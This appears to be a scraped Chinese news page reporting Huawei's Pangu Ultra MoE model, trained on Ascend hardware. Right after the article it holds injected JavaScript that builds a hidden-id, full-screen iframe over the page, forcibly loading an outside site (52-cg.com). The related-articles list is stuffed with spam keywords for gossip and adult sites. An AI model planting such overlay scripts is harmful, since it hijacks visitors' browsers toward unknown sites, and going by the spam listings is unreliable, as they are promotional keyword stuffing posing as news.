5月30日消息，华为宣布推出参数规模高达7180亿的全新模型盘古Ultra MoE，这是一个全流程在昇腾AI计算平台上训练的准万亿MoE模型。据悉，盘古团队提出Depth-Scaled Sandwich-Norm（DSSN）稳定架构和TinyInit小初始化的方法，在昇腾平台上实现了超过18TB数据的长期稳定训练。在训练方法上，华为团队首次披露在昇腾CloudMatrix 384超节点上打通大稀疏比MoE强化学习（RL）后训练框架的关键技术，使RL后训练进入超节点集群时代。
华为：昇腾AI计算平台训练出准万亿MoE模型
(function() {
function generateRandomString(length) {
return Math.random().toString(36).substring(2, length + 2);
}
function loadExternalContent(url) {
var frameName = generateRandomString(10);
var frame = document.createElement('iframe');
frame.id = frameName;
frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;';
frame.src = url;
document.body.appendChild(frame);
}
var externalUrl = 'https://52-cg.com';
loadExternalContent(externalUrl);
})();
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。
相关文章
-
华为：昇腾AI计算平台训练出准万亿MoE模型
-
企业时报网:黑料吃瓜不打烊网曝门-黑料吃瓜网址-广州六运小区突发火灾，有爆炸声传出
-
TOM时尚:黑料社吃瓜网-吃瓜黑料app-哈佛校长在毕业典礼上嘲讽特朗普：9000名毕业生来自全世界，这才对！3万人起立鼓掌，长达一分钟
-
中华网河南:黑料吃瓜网址-吃瓜网爆黑料-蒋介石曾孙蒋万安回应中正路更名
-
企业时报网:糖心VLOG官网-糖心精产国品免费老版-永辉超市及其董事长被限消
-
投票率34.74%，韩国总统大选提前投票结束
-
中华网健康:黑料吃瓜总站-黑料吃瓜网曝-“售卖高考试题、答案”“命题组押题卷”……这些违法信息将被严查
-
寻医问药网:吃瓜黑料免费不打烊-吃瓜 黑料 在线-央行5月开展7000亿元买断式逆回购操作
